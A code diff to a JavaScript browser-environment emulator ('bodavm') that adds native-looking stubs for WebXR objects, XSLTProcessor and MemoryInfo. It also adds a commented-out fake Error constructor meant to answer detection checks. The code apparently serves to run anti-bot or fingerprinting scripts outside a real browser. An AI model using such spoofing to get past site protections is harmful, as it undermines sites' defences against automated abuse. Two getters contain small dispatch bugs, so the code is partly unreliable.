+bodavm.toolsFunc.defineProperty('XRViewport', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRViewport'].prototype, "XRViewport", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRViewport', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRViewport'].prototype, "XRViewport", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRViewport', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRViewport'].prototype, "XRViewport", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRViewport', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRViewport'].prototype, "XRViewport", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +// XRWebGLBinding对象 + +bodavm.memory.globalobj['XRWebGLBinding'] = function XRWebGLBinding() { + console.log_copy('XRWebGLBinding 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRWebGLBinding)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'XRWebGLBinding': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRWebGLBinding'], "XRWebGLBinding"); +bodavm.toolsFunc.defineProperty('XRWebGLBinding', "getCameraImage", { + configurable: true, + enumerable: true, + writable: true, + value: function getCameraImage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRWebGLBinding'].prototype, "XRWebGLBinding", "getCameraImage", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRWebGLBinding', "getDepthInformation", { + configurable: true, + enumerable: true, + writable: true, + value: function getDepthInformation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRWebGLBinding'].prototype, "XRWebGLBinding", "getDepthInformation", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRWebGLBinding', "getReflectionCubeMap", { + configurable: true, + enumerable: true, + writable: true, + value: function getReflectionCubeMap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRWebGLBinding'].prototype, "XRWebGLBinding", "getReflectionCubeMap", arguments); + } +}, 'prototype'); +// XRWebGLDepthInformation对象 + +bodavm.memory.globalobj['XRWebGLDepthInformation'] = function XRWebGLDepthInformation() { + console.log_copy('XRWebGLDepthInformation 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRWebGLDepthInformation)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRWebGLDepthInformation'], "XRWebGLDepthInformation"); +bodavm.memory.globalobj['XRWebGLDepthInformation'].prototype.__proto__ = bodavm.memory.globalobj['XRDepthInformation'].prototype; +bodavm.memory.globalobj['XRWebGLDepthInformation'].__proto__ = bodavm.memory.globalobj['XRDepthInformation']; +bodavm.toolsFunc.defineProperty('XRWebGLDepthInformation', "texture", { + configurable: true, + enumerable: true, + get: function texture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRWebGLDepthInformation'].prototype, "XRWebGLDepthInformation", "texture_get", arguments); + }, + set: undefined +}, 'prototype'); +// XRWebGLLayer对象 + +bodavm.memory.globalobj['XRWebGLLayer'] = function XRWebGLLayer() { + console.log_copy('XRWebGLLayer 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRWebGLLayer)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'XRWebGLLayer': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRWebGLLayer'], "XRWebGLLayer"); +bodavm.memory.globalobj['XRWebGLLayer'].prototype.__proto__ = bodavm.memory.globalobj['XRLayer'].prototype; +bodavm.memory.globalobj['XRWebGLLayer'].__proto__ = bodavm.memory.globalobj['XRLayer']; +bodavm.toolsFunc.defineProperty('XRWebGLLayer', "getNativeFramebufferScaleFactor", { + configurable: true, + enumerable: true, + writable: true, + value: function getNativeFramebufferScaleFactor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRWebGLLayer'].undefined, "XRWebGLLayer", "getNativeFramebufferScaleFactor", arguments); + } +}); +bodavm.toolsFunc.defineProperty('XRWebGLLayer', "antialias", { + configurable: true, + enumerable: true, + get: function antialias() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRWebGLLayer'].prototype, "XRWebGLLayer", "antialias_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRWebGLLayer', "ignoreDepthValues", { + configurable: true, + enumerable: true, + get: function ignoreDepthValues() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRWebGLLayer'].prototype, "XRWebGLLayer", "ignoreDepthValues_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRWebGLLayer', "framebufferWidth", { + configurable: true, + enumerable: true, + get: function framebufferWidth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRWebGLLayer'].prototype, "XRWebGLLayer", "framebufferWidth_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRWebGLLayer', "framebufferHeight", { + configurable: true, + enumerable: true, + get: function framebufferHeight() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRWebGLLayer'].prototype, "XRWebGLLayer", "framebufferHeight_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRWebGLLayer', "framebuffer", { + configurable: true, + enumerable: true, + get: function framebuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRWebGLLayer'].prototype, "XRWebGLLayer", "framebuffer_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRWebGLLayer', "getViewport", { + configurable: true, + enumerable: true, + writable: true, + value: function getViewport() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRWebGLLayer'].prototype, "XRWebGLLayer", "getViewport", arguments); + } +}, 'prototype'); +// XSLTProcessor对象 + +bodavm.memory.globalobj['XSLTProcessor'] = function XSLTProcessor() { + console.log_copy('XSLTProcessor 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.XSLTProcessor(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XSLTProcessor'], "XSLTProcessor"); +bodavm.toolsFunc.defineProperty('XSLTProcessor', "clearParameters", { + configurable: true, + enumerable: true, + writable: true, + value: function clearParameters() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XSLTProcessor'].prototype, "XSLTProcessor", "clearParameters", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XSLTProcessor', "getParameter", { + configurable: true, + enumerable: true, + writable: true, + value: function getParameter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XSLTProcessor'].prototype, "XSLTProcessor", "getParameter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XSLTProcessor', "importStylesheet", { + configurable: true, + enumerable: true, + writable: true, + value: function importStylesheet() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XSLTProcessor'].prototype, "XSLTProcessor", "importStylesheet", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XSLTProcessor', "removeParameter", { + configurable: true, + enumerable: true, + writable: true, + value: function removeParameter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XSLTProcessor'].prototype, "XSLTProcessor", "removeParameter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XSLTProcessor', "reset", { + configurable: true, + enumerable: true, + writable: true, + value: function reset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XSLTProcessor'].prototype, "XSLTProcessor", "reset", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XSLTProcessor', "setParameter", { + configurable: true, + enumerable: true, + writable: true, + value: function setParameter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XSLTProcessor'].prototype, "XSLTProcessor", "setParameter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XSLTProcessor', "transformToDocument", { + configurable: true, + enumerable: true, + writable: true, + value: function transformToDocument() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XSLTProcessor'].prototype, "XSLTProcessor", "transformToDocument", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XSLTProcessor', "transformToFragment", { + configurable: true, + enumerable: true, + writable: true, + value: function transformToFragment() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XSLTProcessor'].prototype, "XSLTProcessor", "transformToFragment", arguments); + } +}, 'prototype'); +// // Error对象 +// bodavm.memory.globalobj['Error'] = function Error(){ +// console.log_copy('Error 实例化对象参数为 -> Error检测', JSON.stringify_bo(arguments, function (k, v) { +// if (v == window) { +// return 'window'; +// } else { +// return v; +// } +// })); +// this._boisinit = bodavm.config.isinit; +// debugger; +// arg=arguments[0] +// if (arg){ +// this.stack=`Error: ${arg+''}\n at :1:1` +// this.toString=function (){ +// console.log_copy(`检测 Error 的tostring方法 ->`) +// return `Error: ${arg}` +// } -// XRDepthInformation对象 -bodavm.memory.globalobj['XRDepthInformation'] = function XRDepthInformation(){if (!(this instanceof XRDepthInformation)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRDepthInformation'], "XRDepthInformation"); -bodavm.toolsFunc.defineProperty('XRDepthInformation', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRDepthInformation'].prototype, "XRDepthInformation", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRDepthInformation', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRDepthInformation'].prototype, "XRDepthInformation", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRDepthInformation', "normDepthBufferFromNormView", {configurable:true, enumerable:true, get:function normDepthBufferFromNormView (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRDepthInformation'].prototype, "XRDepthInformation", "normDepthBufferFromNormView_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRDepthInformation', "rawValueToMeters", {configurable:true, enumerable:true, get:function rawValueToMeters (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRDepthInformation'].prototype, "XRDepthInformation", "rawValueToMeters_get", arguments)}, set:undefined},'prototype'); +// }else{ +// this.stack='Error\n at :1:1' +// this.toString=function (){ +// console.log_copy(`检测 Error 的tostring方法 ->`) +// return 'Error' +// } +// } + + + +// } -// XRReferenceSpace对象 -bodavm.memory.globalobj['XRReferenceSpace'] = function XRReferenceSpace(){if (!(this instanceof XRReferenceSpace)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRReferenceSpace'], "XRReferenceSpace"); -bodavm.memory.globalobj['XRReferenceSpace'].prototype.__proto__=bodavm.memory.globalobj['XRSpace'].prototype; -bodavm.memory.globalobj['XRReferenceSpace'].__proto__=bodavm.memory.globalobj['XRSpace']; -bodavm.toolsFunc.defineProperty('XRReferenceSpace', "onreset", {configurable:true, enumerable:true, get:function onreset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRReferenceSpace'].prototype, "XRReferenceSpace", "onreset_get", arguments)}, set:function onreset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRReferenceSpace'].prototype, "XRReferenceSpace", "onreset_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRReferenceSpace', "getOffsetReferenceSpace", {configurable:true, enumerable:true, writable:true, value:function getOffsetReferenceSpace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRReferenceSpace'].prototype, "XRReferenceSpace", "getOffsetReferenceSpace", arguments)}},'prototype'); +// bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Error'], "Error"); +// bodavm.toolsFunc.defineProperty('Error', "captureStackTrace", {configurable:true, enumerable:false, writable:true, value:function captureStackTrace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Error'].prototype, "Error", "captureStackTrace", arguments)}}); +// bodavm.toolsFunc.defineProperty('Error', "stackTraceLimit", {configurable:true, enumerable:true, writable:true, value:10}); +// bodavm.toolsFunc.defineProperty('Error', "name", {configurable:true, enumerable:false, writable:true, value:"Error"},'prototype'); +// bodavm.toolsFunc.defineProperty('Error', "message", {configurable:true, enumerable:false, writable:true, value:""},'prototype'); +// bodavm.toolsFunc.defineProperty('Error', "toString", {configurable:true, enumerable:false, writable:true, value:function toString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Error'].prototype, "Error", "toString", arguments)}},'prototype'); -// XMLDocument对象 -bodavm.memory.globalobj['XMLDocument'] = function XMLDocument(){if (!(this instanceof XMLDocument)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XMLDocument'], "XMLDocument"); -bodavm.memory.globalobj['XMLDocument'].prototype.__proto__=bodavm.memory.globalobj['Document'].prototype; -bodavm.memory.globalobj['XMLDocument'].__proto__=bodavm.memory.globalobj['Document']; +// console.memory.__proto__对象 -// XMLHttpRequestUpload对象 -bodavm.memory.globalobj['XMLHttpRequestUpload'] = function XMLHttpRequestUpload(){if (!(this instanceof XMLHttpRequestUpload)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XMLHttpRequestUpload'], "XMLHttpRequestUpload"); -bodavm.memory.globalobj['XMLHttpRequestUpload'].prototype.__proto__=bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype; -bodavm.memory.globalobj['XMLHttpRequestUpload'].__proto__=bodavm.memory.globalobj['XMLHttpRequestEventTarget']; - -// XMLSerializer对象 -bodavm.memory.globalobj['XMLSerializer'] = function XMLSerializer(){this._boarg= new bodaobj.window.XMLSerializer();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XMLSerializer'], "XMLSerializer"); -bodavm.toolsFunc.defineProperty('XMLSerializer', "serializeToString", {configurable:true, enumerable:true, writable:true, value:function serializeToString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLSerializer'].prototype, "XMLSerializer", "serializeToString", arguments)}},'prototype'); - -// XPathEvaluator对象 -bodavm.memory.globalobj['XPathEvaluator'] = function XPathEvaluator(){this._boarg= new bodaobj.window.XPathEvaluator();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XPathEvaluator'], "XPathEvaluator"); -bodavm.toolsFunc.defineProperty('XPathEvaluator', "createExpression", {configurable:true, enumerable:true, writable:true, value:function createExpression (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathEvaluator'].prototype, "XPathEvaluator", "createExpression", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XPathEvaluator', "createNSResolver", {configurable:true, enumerable:true, writable:true, value:function createNSResolver (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathEvaluator'].prototype, "XPathEvaluator", "createNSResolver", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XPathEvaluator', "evaluate", {configurable:true, enumerable:true, writable:true, value:function evaluate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathEvaluator'].prototype, "XPathEvaluator", "evaluate", arguments)}},'prototype'); - -// XPathResult对象 -bodavm.memory.globalobj['XPathResult'] = function XPathResult(){if (!(this instanceof XPathResult)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XPathResult'], "XPathResult"); -bodavm.toolsFunc.defineProperty('XPathResult', "ANY_TYPE", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('XPathResult', "NUMBER_TYPE", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('XPathResult', "STRING_TYPE", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('XPathResult', "BOOLEAN_TYPE", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('XPathResult', "UNORDERED_NODE_ITERATOR_TYPE", {configurable:false, enumerable:true, writable:false, value:4}); -bodavm.toolsFunc.defineProperty('XPathResult', "ORDERED_NODE_ITERATOR_TYPE", {configurable:false, enumerable:true, writable:false, value:5}); -bodavm.toolsFunc.defineProperty('XPathResult', "UNORDERED_NODE_SNAPSHOT_TYPE", {configurable:false, enumerable:true, writable:false, value:6}); -bodavm.toolsFunc.defineProperty('XPathResult', "ORDERED_NODE_SNAPSHOT_TYPE", {configurable:false, enumerable:true, writable:false, value:7}); -bodavm.toolsFunc.defineProperty('XPathResult', "ANY_UNORDERED_NODE_TYPE", {configurable:false, enumerable:true, writable:false, value:8}); -bodavm.toolsFunc.defineProperty('XPathResult', "FIRST_ORDERED_NODE_TYPE", {configurable:false, enumerable:true, writable:false, value:9}); -bodavm.toolsFunc.defineProperty('XPathResult', "resultType", {configurable:true, enumerable:true, get:function resultType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathResult'].prototype, "XPathResult", "resultType_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XPathResult', "numberValue", {configurable:true, enumerable:true, get:function numberValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathResult'].prototype, "XPathResult", "numberValue_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XPathResult', "stringValue", {configurable:true, enumerable:true, get:function stringValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathResult'].prototype, "XPathResult", "stringValue_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XPathResult', "booleanValue", {configurable:true, enumerable:true, get:function booleanValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathResult'].prototype, "XPathResult", "booleanValue_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XPathResult', "singleNodeValue", {configurable:true, enumerable:true, get:function singleNodeValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathResult'].prototype, "XPathResult", "singleNodeValue_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XPathResult', "invalidIteratorState", {configurable:true, enumerable:true, get:function invalidIteratorState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathResult'].prototype, "XPathResult", "invalidIteratorState_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XPathResult', "snapshotLength", {configurable:true, enumerable:true, get:function snapshotLength (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathResult'].prototype, "XPathResult", "snapshotLength_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XPathResult', "ANY_TYPE", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('XPathResult', "NUMBER_TYPE", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('XPathResult', "STRING_TYPE", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('XPathResult', "BOOLEAN_TYPE", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('XPathResult', "UNORDERED_NODE_ITERATOR_TYPE", {configurable:false, enumerable:true, writable:false, value:4},'prototype'); -bodavm.toolsFunc.defineProperty('XPathResult', "ORDERED_NODE_ITERATOR_TYPE", {configurable:false, enumerable:true, writable:false, value:5},'prototype'); -bodavm.toolsFunc.defineProperty('XPathResult', "UNORDERED_NODE_SNAPSHOT_TYPE", {configurable:false, enumerable:true, writable:false, value:6},'prototype'); -bodavm.toolsFunc.defineProperty('XPathResult', "ORDERED_NODE_SNAPSHOT_TYPE", {configurable:false, enumerable:true, writable:false, value:7},'prototype'); -bodavm.toolsFunc.defineProperty('XPathResult', "ANY_UNORDERED_NODE_TYPE", {configurable:false, enumerable:true, writable:false, value:8},'prototype'); -bodavm.toolsFunc.defineProperty('XPathResult', "FIRST_ORDERED_NODE_TYPE", {configurable:false, enumerable:true, writable:false, value:9},'prototype'); -bodavm.toolsFunc.defineProperty('XPathResult', "iterateNext", {configurable:true, enumerable:true, writable:true, value:function iterateNext (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathResult'].prototype, "XPathResult", "iterateNext", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XPathResult', "snapshotItem", {configurable:true, enumerable:true, writable:true, value:function snapshotItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathResult'].prototype, "XPathResult", "snapshotItem", arguments)}},'prototype'); - -// XRAnchor对象 - -bodavm.memory.globalobj['XRAnchor'] = function XRAnchor(){if (!(this instanceof XRAnchor)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} - -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRAnchor'], "XRAnchor"); - -bodavm.toolsFunc.defineProperty('XRAnchor', "anchorSpace", {configurable:true, enumerable:true, get:function anchorSpace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRAnchor'].prototype, "XRAnchor", "anchorSpace_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('XRAnchor', "delete", {configurable:true, enumerable:true, writable:true, value:function (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRAnchor'].prototype, "XRAnchor", "delete", arguments)}},'prototype'); +// bodavm.memory.globalobj['MemoryInfo'] = { +// _boisinit:true +// } +// bodavm.toolsFunc.defineProperty('MemoryInfo', "totalJSHeapSize", {configurable:true, enumerable:true, get:function totalJSHeapSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MemoryInfo'], "MemoryInfo", "totalJSHeapSize_get", arguments)}, set:undefined}); +// bodavm.toolsFunc.defineProperty('MemoryInfo', "usedJSHeapSize", {configurable:true, enumerable:true, get:function usedJSHeapSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MemoryInfo'], "MemoryInfo", "usedJSHeapSize_get", arguments)}, set:undefined}); +// bodavm.toolsFunc.defineProperty('MemoryInfo', "jsHeapSizeLimit", {configurable:true, enumerable:true, get:function jsHeapSizeLimit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MemoryInfo'], "MemoryInfo", "jsHeapSizeLimit_get", arguments)}, set:undefined}); -// XRAnchorSet对象 -bodavm.memory.globalobj['XRAnchorSet'] = function XRAnchorSet(){if (!(this instanceof XRAnchorSet)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRAnchorSet'], "XRAnchorSet"); -bodavm.toolsFunc.defineProperty('XRAnchorSet', "size", {configurable:true, enumerable:true, get:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRAnchorSet'].prototype, "XRAnchorSet", "size_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRAnchorSet', "entries", {configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRAnchorSet'].prototype, "XRAnchorSet", "entries", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRAnchorSet', "forEach", {configurable:true, enumerable:true, writable:true, value:function forEach (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRAnchorSet'].prototype, "XRAnchorSet", "forEach", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRAnchorSet', "has", {configurable:true, enumerable:true, writable:true, value:function has (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRAnchorSet'].prototype, "XRAnchorSet", "has", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRAnchorSet', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRAnchorSet'].prototype, "XRAnchorSet", "keys", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRAnchorSet', "values", {configurable:true, enumerable:true, writable:true, value:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRAnchorSet'].prototype, "XRAnchorSet", "values", arguments)}},'prototype'); -// XRBoundedReferenceSpace对象 -bodavm.memory.globalobj['XRBoundedReferenceSpace'] = function XRBoundedReferenceSpace(){if (!(this instanceof XRBoundedReferenceSpace)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRBoundedReferenceSpace'], "XRBoundedReferenceSpace"); -bodavm.memory.globalobj['XRBoundedReferenceSpace'].prototype.__proto__=bodavm.memory.globalobj['XRReferenceSpace'].prototype; -bodavm.memory.globalobj['XRBoundedReferenceSpace'].__proto__=bodavm.memory.globalobj['XRReferenceSpace']; -bodavm.toolsFunc.defineProperty('XRBoundedReferenceSpace', "boundsGeometry", {configurable:true, enumerable:true, get:function boundsGeometry (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRBoundedReferenceSpace'].prototype, "XRBoundedReferenceSpace", "boundsGeometry_get", arguments)}, set:undefined},'prototype'); -// XRCamera对象 -bodavm.memory.globalobj['XRCamera'] = function XRCamera(){if (!(this instanceof XRCamera)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRCamera'], "XRCamera"); -bodavm.toolsFunc.defineProperty('XRCamera', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRCamera'].prototype, "XRCamera", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRCamera', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRCamera'].prototype, "XRCamera", "height_get", arguments)}, set:undefined},'prototype'); -// XRCPUDepthInformation对象 -bodavm.memory.globalobj['XRCPUDepthInformation'] = function XRCPUDepthInformation(){if (!(this instanceof XRCPUDepthInformation)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRCPUDepthInformation'], "XRCPUDepthInformation"); -bodavm.memory.globalobj['XRCPUDepthInformation'].prototype.__proto__=bodavm.memory.globalobj['XRDepthInformation'].prototype; -bodavm.memory.globalobj['XRCPUDepthInformation'].__proto__=bodavm.memory.globalobj['XRDepthInformation']; -bodavm.toolsFunc.defineProperty('XRCPUDepthInformation', "data", {configurable:true, enumerable:true, get:function data (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRCPUDepthInformation'].prototype, "XRCPUDepthInformation", "data_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRCPUDepthInformation', "getDepthInMeters", {configurable:true, enumerable:true, writable:true, value:function getDepthInMeters (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRCPUDepthInformation'].prototype, "XRCPUDepthInformation", "getDepthInMeters", arguments)}},'prototype'); +bodavm.memory.globalobj['MemoryInfo'] = function MemoryInfo() { + console.log_copy('MemoryInfo 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + ; + this._boisinit = bodavm.config.isinit; + + }; + bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MemoryInfo'], "MemoryInfo"); + bodavm.toolsFunc.defineProperty('MemoryInfo', "totalJSHeapSize", { + configurable: true, + enumerable: true, + get: function totalJSHeapSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MemoryInfo'].prototype, "totalJSHeapSize", "totalJSHeapSize_get", arguments); + }, + set: undefined + }, 'prototype'); -// XRDOMOverlayState对象 -bodavm.memory.globalobj['XRDOMOverlayState'] = function XRDOMOverlayState(){if (!(this instanceof XRDOMOverlayState)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} 